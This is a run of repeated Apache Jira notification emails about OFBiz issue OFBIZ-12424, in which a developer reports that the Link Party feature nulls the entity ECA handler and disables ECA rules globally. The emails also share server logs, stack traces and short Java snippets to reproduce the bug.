11:38:55,746 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 4 requests, 0 views in
file:/home/ofbizDemo/trunk/applications/commonext/webapp/WEB-INF/controller.xml2021-12-01
11:38:55,765 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.003s, 347 requests, 133 views in
file:/home/ofbizDemo/trunk/applications/content/webapp/content/WEB-INF/controller.xml2021-12-01
11:38:55,768 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.086s, 268 requests, 110 views in
file:/home/ofbizDemo/trunk/applications/party/webapp/partymgr/WEB-INF/controller.xml2021-12-01
11:38:55,884 |27.0.0.1-8009-exec-2 |TransactionUtil |W| Calling transaction
setRollbackOnly; this stack trace shows where this is
happening:java.lang.Exception: rollback called in Entity Engine SQLProcessorat
org.apache.ofbiz.entity.transaction.TransactionUtil.setRollbackOnly(TransactionUtil.java:372)
[main/:?]at
org.apache.ofbiz.entity.jdbc.SQLProcessor.rollback(SQLProcessor.java:198)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericDAO.deleteByCondition(GenericDAO.java:1347)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericHelperDAO.removeByCondition(GenericHelperDAO.java:189)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByCondition(GenericDelegator.java:1150)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByAnd(GenericDelegator.java:1115)
[main/:?]at
org.apache.ofbiz.party.party.PartyServices.linkParty(PartyServices.java:2131)
[main/:?]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
~[?:1.8.0_292]at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
~[?:1.8.0_292]at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_292]at java.lang.reflect.Method.invoke(Method.java:498)
~[?:1.8.0_292]at
org.apache.ofbiz.service.engine.StandardJavaEngine.serviceInvoker(StandardJavaEngine.java:101)
[main/:?]at
org.apache.ofbiz.service.engine.StandardJavaEngine.runSync(StandardJavaEngine.java:57)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:424)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:240)
[main/:?]at
org.apache.ofbiz.service.GenericDispatcherFactory$GenericDispatcher.runSync(GenericDispatcherFactory.java:93)
[main/:?]at
org.apache.ofbiz.webapp.event.ServiceEventHandler.invoke(ServiceEventHandler.java:253)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:1026)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:677)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.handle(ControlServlet.java:231)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:81)
[main/:?]at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[tomcat-embed-websocket-9.
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451757#comment-17451757
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 12:10 PM:
--
I just give it a try [trunk instance|https://demo-trunk.ofbiz.apache.org/] and
I am seeing the same problem that you report for the user with partyId
{*}DemoLead1{*}. Please refer to the below screenshot for your easy reference.
!image-2021-12-01-17-18-37-279.png|width=625,height=185!
!image-2021-12-01-17-20-21-196.png|width=624,height=287!
+_*complete log*_+
{code:java}
2021-12-01 11:38:55,666 |27.0.0.1-8009-exec-2 |ControlServlet |T|
[[[partymgr::setPartyLink (Domain:https://demo-trunk.ofbiz.apache.org)] Request
Begun, encoding=[UTF-8]- total:0.0,since last(Begin):0.0]]2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 0 requests, 0 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/handlers-controller.xml2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.025s, 52 requests, 21 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/common-controller.xml2021-12-01
11:38:55,733 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 30 requests, 13 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/security-controller.xml2021-12-01
11:38:55,746 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 4 requests, 0 views in
file:/home/ofbizDemo/trunk/applications/commonext/webapp/WEB-INF/controller.xml2021-12-01
11:38:55,765 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.003s, 347 requests, 133 views in
file:/home/ofbizDemo/trunk/applications/content/webapp/content/WEB-INF/controller.xml2021-12-01
11:38:55,768 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.086s, 268 requests, 110 views in
file:/home/ofbizDemo/trunk/applications/party/webapp/partymgr/WEB-INF/controller.xml2021-12-01
11:38:55,884 |27.0.0.1-8009-exec-2 |TransactionUtil |W| Calling transaction
setRollbackOnly; this stack trace shows where this is
happening:java.lang.Exception: rollback called in Entity Engine SQLProcessorat
org.apache.ofbiz.entity.transaction.TransactionUtil.setRollbackOnly(TransactionUtil.java:372)
[main/:?]at
org.apache.ofbiz.entity.jdbc.SQLProcessor.rollback(SQLProcessor.java:198)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericDAO.deleteByCondition(GenericDAO.java:1347)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericHelperDAO.removeByCondition(GenericHelperDAO.java:189)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByCondition(GenericDelegator.java:1150)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByAnd(GenericDelegator.java:1115)
[main/:?]at
org.apache.ofbiz.party.party.PartyServices.linkParty(PartyServices.java:2131)
[main/:?]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
~[?:1.8.0_292]at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
~[?:1.8.0_292]at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_292]at java.lang.reflect.Method.invoke(Method.java:498)
~[?:1.8.0_292]at
org.apache.ofbiz.service.engine.StandardJavaEngine.serviceInvoker(StandardJavaEngine.java:101)
[main/:?]at
org.apache.ofbiz.service.engine.StandardJavaEngine.runSync(StandardJavaEngine.java:57)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:424)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:240)
[main/:?]at
org.apache.ofbiz.service.GenericDispatcherFactory$GenericDispatcher.runSync(GenericDispatcherFactory.java:93)
[main/:?]at
org.apache.ofbiz.webapp.event.ServiceEventHandler.invoke(ServiceEventHandler.java:253)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:1026)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:677)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.handle(ControlServlet.java:231)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:81)
[main/:?]at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[tomcat-embed-websocket-9.0.41.jar:9.0.41]at
org.apache.catalina
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451757#comment-17451757
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 12:09 PM:
--
I just give it a try [trunk instance|https://demo-trunk.ofbiz.apache.org/] and
I am seeing the same problem that you report for the user with partyId
{*}DemoLead1{*}. Please refer to the below screenshot for your easy reference.
!image-2021-12-01-17-18-37-279.png|width=625,height=185!
!image-2021-12-01-17-20-21-196.png|width=624,height=287!
+_*complete log*_+
{code:java}
2021-12-01 11:38:55,666 |27.0.0.1-8009-exec-2 |ControlServlet |T|
[[[partymgr::setPartyLink (Domain:https://demo-trunk.ofbiz.apache.org)] Request
Begun, encoding=[UTF-8]- total:0.0,since last(Begin):0.0]]2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 0 requests, 0 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/handlers-controller.xml2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.025s, 52 requests, 21 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/common-controller.xml2021-12-01
11:38:55,733 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 30 requests, 13 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/security-controller.xml2021-12-01
11:38:55,746 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 4 requests, 0 views in
file:/home/ofbizDemo/trunk/applications/commonext/webapp/WEB-INF/controller.xml2021-12-01
11:38:55,765 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.003s, 347 requests, 133 views in
file:/home/ofbizDemo/trunk/applications/content/webapp/content/WEB-INF/controller.xml2021-12-01
11:38:55,768 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.086s, 268 requests, 110 views in
file:/home/ofbizDemo/trunk/applications/party/webapp/partymgr/WEB-INF/controller.xml2021-12-01
11:38:55,884 |27.0.0.1-8009-exec-2 |TransactionUtil |W| Calling transaction
setRollbackOnly; this stack trace shows where this is
happening:java.lang.Exception: rollback called in Entity Engine SQLProcessorat
org.apache.ofbiz.entity.transaction.TransactionUtil.setRollbackOnly(TransactionUtil.java:372)
[main/:?]at
org.apache.ofbiz.entity.jdbc.SQLProcessor.rollback(SQLProcessor.java:198)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericDAO.deleteByCondition(GenericDAO.java:1347)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericHelperDAO.removeByCondition(GenericHelperDAO.java:189)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByCondition(GenericDelegator.java:1150)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByAnd(GenericDelegator.java:1115)
[main/:?]at
org.apache.ofbiz.party.party.PartyServices.linkParty(PartyServices.java:2131)
[main/:?]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
~[?:1.8.0_292]at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
~[?:1.8.0_292]at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_292]at java.lang.reflect.Method.invoke(Method.java:498)
~[?:1.8.0_292]at
org.apache.ofbiz.service.engine.StandardJavaEngine.serviceInvoker(StandardJavaEngine.java:101)
[main/:?]at
org.apache.ofbiz.service.engine.StandardJavaEngine.runSync(StandardJavaEngine.java:57)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:424)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:240)
[main/:?]at
org.apache.ofbiz.service.GenericDispatcherFactory$GenericDispatcher.runSync(GenericDispatcherFactory.java:93)
[main/:?]at
org.apache.ofbiz.webapp.event.ServiceEventHandler.invoke(ServiceEventHandler.java:253)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:1026)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:677)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.handle(ControlServlet.java:231)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:81)
[main/:?]at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[tomcat-embed-websocket-9.0.41.jar:9.0.41]at
org.apache.catalina
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451757#comment-17451757
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 12:00 PM:
--
I just give it a try [trunk instance|https://demo-trunk.ofbiz.apache.org/] and
I am seeing the same problem that you report for the user with partyId
{*}DemoLead1{*}. Please refer to the below screenshot for your easy reference.
!image-2021-12-01-17-18-37-279.png|width=625,height=185!
!image-2021-12-01-17-20-21-196.png|width=624,height=287!
+_*complete log*_+
{noformat}
2021-12-01 11:38:55,666 |27.0.0.1-8009-exec-2 |ControlServlet |T|
[[[partymgr::setPartyLink (Domain:https://demo-trunk.ofbiz.apache.org)] Request
Begun, encoding=[UTF-8]- total:0.0,since last(Begin):0.0]]2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 0 requests, 0 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/handlers-controller.xml2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.025s, 52 requests, 21 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/common-controller.xml2021-12-01
11:38:55,733 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 30 requests, 13 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/security-controller.xml2021-12-01
11:38:55,746 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 4 requests, 0 views in
file:/home/ofbizDemo/trunk/applications/commonext/webapp/WEB-INF/controller.xml2021-12-01
11:38:55,765 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.003s, 347 requests, 133 views in
file:/home/ofbizDemo/trunk/applications/content/webapp/content/WEB-INF/controller.xml2021-12-01
11:38:55,768 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.086s, 268 requests, 110 views in
file:/home/ofbizDemo/trunk/applications/party/webapp/partymgr/WEB-INF/controller.xml2021-12-01
11:38:55,884 |27.0.0.1-8009-exec-2 |TransactionUtil |W| Calling transaction
setRollbackOnly; this stack trace shows where this is
happening:java.lang.Exception: rollback called in Entity Engine SQLProcessorat
org.apache.ofbiz.entity.transaction.TransactionUtil.setRollbackOnly(TransactionUtil.java:372)
[main/:?]at
org.apache.ofbiz.entity.jdbc.SQLProcessor.rollback(SQLProcessor.java:198)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericDAO.deleteByCondition(GenericDAO.java:1347)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericHelperDAO.removeByCondition(GenericHelperDAO.java:189)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByCondition(GenericDelegator.java:1150)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByAnd(GenericDelegator.java:1115)
[main/:?]at
org.apache.ofbiz.party.party.PartyServices.linkParty(PartyServices.java:2131)
[main/:?]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
~[?:1.8.0_292]at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
~[?:1.8.0_292]at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_292]at java.lang.reflect.Method.invoke(Method.java:498)
~[?:1.8.0_292]at
org.apache.ofbiz.service.engine.StandardJavaEngine.serviceInvoker(StandardJavaEngine.java:101)
[main/:?]at
org.apache.ofbiz.service.engine.StandardJavaEngine.runSync(StandardJavaEngine.java:57)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:424)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:240)
[main/:?]at
org.apache.ofbiz.service.GenericDispatcherFactory$GenericDispatcher.runSync(GenericDispatcherFactory.java:93)
[main/:?]at
org.apache.ofbiz.webapp.event.ServiceEventHandler.invoke(ServiceEventHandler.java:253)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:1026)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:677)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.handle(ControlServlet.java:231)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:81)
[main/:?]at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[tomcat-embed-websocket-9.0.41.jar:9.0.41]at
org.apache.catalina.
[jira] [Commented] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451757#comment-17451757
]
Rohit Koushal commented on OFBIZ-12424:
---
I just give it a try [trunk instance|https://demo-trunk.ofbiz.apache.org/] and
I am seeing the same problem that you report for the user with partyId
{*}DemoLead1{*}. Please refer to the below screenshot for your easy reference.
!image-2021-12-01-17-18-37-279.png|width=625,height=185!
!image-2021-12-01-17-20-21-196.png|width=624,height=287!
+_*complete log*_+
{noformat}
2021-12-01 11:38:55,666 |27.0.0.1-8009-exec-2 |ControlServlet |T|
[[[partymgr::setPartyLink (Domain:https://demo-trunk.ofbiz.apache.org)] Request
Begun, encoding=[UTF-8]- total:0.0,since last(Begin):0.0]]2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 0 requests, 0 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/handlers-controller.xml2021-12-01
11:38:55,720 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.025s, 52 requests, 21 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/common-controller.xml2021-12-01
11:38:55,733 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 30 requests, 13 views in
file:/home/ofbizDemo/trunk/framework/common/webcommon/WEB-INF/security-controller.xml2021-12-01
11:38:55,746 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.0s, 4 requests, 0 views in
file:/home/ofbizDemo/trunk/applications/commonext/webapp/WEB-INF/controller.xml2021-12-01
11:38:55,765 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.003s, 347 requests, 133 views in
file:/home/ofbizDemo/trunk/applications/content/webapp/content/WEB-INF/controller.xml2021-12-01
11:38:55,768 |27.0.0.1-8009-exec-2 |ConfigXMLReader |I| controller loaded:
0.086s, 268 requests, 110 views in
file:/home/ofbizDemo/trunk/applications/party/webapp/partymgr/WEB-INF/controller.xml2021-12-01
11:38:55,884 |27.0.0.1-8009-exec-2 |TransactionUtil |W| Calling transaction
setRollbackOnly; this stack trace shows where this is
happening:java.lang.Exception: rollback called in Entity Engine SQLProcessorat
org.apache.ofbiz.entity.transaction.TransactionUtil.setRollbackOnly(TransactionUtil.java:372)
[main/:?]at
org.apache.ofbiz.entity.jdbc.SQLProcessor.rollback(SQLProcessor.java:198)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericDAO.deleteByCondition(GenericDAO.java:1347)
[main/:?]at
org.apache.ofbiz.entity.datasource.GenericHelperDAO.removeByCondition(GenericHelperDAO.java:189)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByCondition(GenericDelegator.java:1150)
[main/:?]at
org.apache.ofbiz.entity.GenericDelegator.removeByAnd(GenericDelegator.java:1115)
[main/:?]at
org.apache.ofbiz.party.party.PartyServices.linkParty(PartyServices.java:2131)
[main/:?]at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
~[?:1.8.0_292]at
sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
~[?:1.8.0_292]at
sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
~[?:1.8.0_292]at java.lang.reflect.Method.invoke(Method.java:498)
~[?:1.8.0_292]at
org.apache.ofbiz.service.engine.StandardJavaEngine.serviceInvoker(StandardJavaEngine.java:101)
[main/:?]at
org.apache.ofbiz.service.engine.StandardJavaEngine.runSync(StandardJavaEngine.java:57)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:424)
[main/:?]at
org.apache.ofbiz.service.ServiceDispatcher.runSync(ServiceDispatcher.java:240)
[main/:?]at
org.apache.ofbiz.service.GenericDispatcherFactory$GenericDispatcher.runSync(GenericDispatcherFactory.java:93)
[main/:?]at
org.apache.ofbiz.webapp.event.ServiceEventHandler.invoke(ServiceEventHandler.java:253)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.runEvent(RequestHandler.java:1026)
[main/:?]at
org.apache.ofbiz.webapp.control.RequestHandler.doRequest(RequestHandler.java:677)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.handle(ControlServlet.java:231)
[main/:?]at
org.apache.ofbiz.webapp.control.ControlServlet.doPost(ControlServlet.java:81)
[main/:?]at javax.servlet.http.HttpServlet.service(HttpServlet.java:681)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
[tomcat-servlet-api-9.0.54.jar:4.0.FR]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
[tomcat-catalina-9.0.54.jar:9.0.54]at
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[tomcat-embed-websocket-9.0.41.jar:9.0.41]at
org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(Applicat
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Attachment: image-2021-12-01-17-20-21-196.png
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: image-2021-12-01-17-18-37-279.png,
> image-2021-12-01-17-20-21-196.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Updated] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel
]
Rohit Koushal updated OFBIZ-12424:
--
Attachment: image-2021-12-01-17-18-37-279.png
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
> Attachments: image-2021-12-01-17-18-37-279.png
>
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
>
>
>
--
This message was sent by Atlassian Jira
(v8.20.1#820001)
[jira] [Comment Edited] (OFBIZ-12424) Link Party feature stop the EECA rules globally
[
https://issues.apache.org/jira/browse/OFBIZ-12424?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17451738#comment-17451738
]
Rohit Koushal edited comment on OFBIZ-12424 at 12/1/21, 11:05 AM:
--
Thanks [~jleroux] for checking it out
>From the logs, you shared it looks like Link Party feature itself is having
>another problem and trying to remove PartyRole without moving/removing
>PartyRelationship. I think we can observe the same behavior without my changes
>for the same user on trunk.
was (Author: rohit.koushal):
Thanks [~jleroux] for checking it out
>From the logs, you shared it looks like Link Party feature itself is having
>another problem and trying to remove PartyRole without moving/removing
>PartyRelationship. I think we can observe the same behavior without my changes
>for the same user on trunk.
> Link Party feature stop the EECA rules globally
> ---
>
> Key: OFBIZ-12424
> URL: https://issues.apache.org/jira/browse/OFBIZ-12424
> Project: OFBiz
> Issue Type: Bug
>Affects Versions: Release Branch 18.12, Release Branch 17.12, Trunk
>Reporter: Rohit Koushal
>Assignee: Rohit Koushal
>Priority: Major
>
> In the Link Party Feature({_}*partymgr > profile > Link Party*{_}) there is a
> code that stops EECA rules globally in the system and as a result it caused
> major issues in the process which are driven from EECA's.
>
> *PartyServices.java*
> {code:java}
> public static Map linkParty(DispatchContext dctx, Map ? extends Object> context) {
> Delegator delegator = dctx.getDelegator();
> Locale locale = (Locale) context.get("locale");
> delegator.setEntityEcaHandler(null);
> .
> .
> .
> } {code}
>
> In the above code you can see that we are updating EntityEcaHandler on
> delegator object to null.
>
> *GenericDelegator.java*
> {code:java}
> protected void evalRules(String event, String currentOperation, GenericEntity
> value, boolean isError) throws GenericEntityException {
> if (entityEcaHandler == null) {
> return;
> }
> entityEcaHandler.evalRules(currentOperation, eventMap, event, value,
> isError);
> } {code}
> On any DB operation(find, create and store) using delegator above method run
> and due to null EntityEcaHandler object it won't execute any EECA's globally
> in the system
>
>
>
--
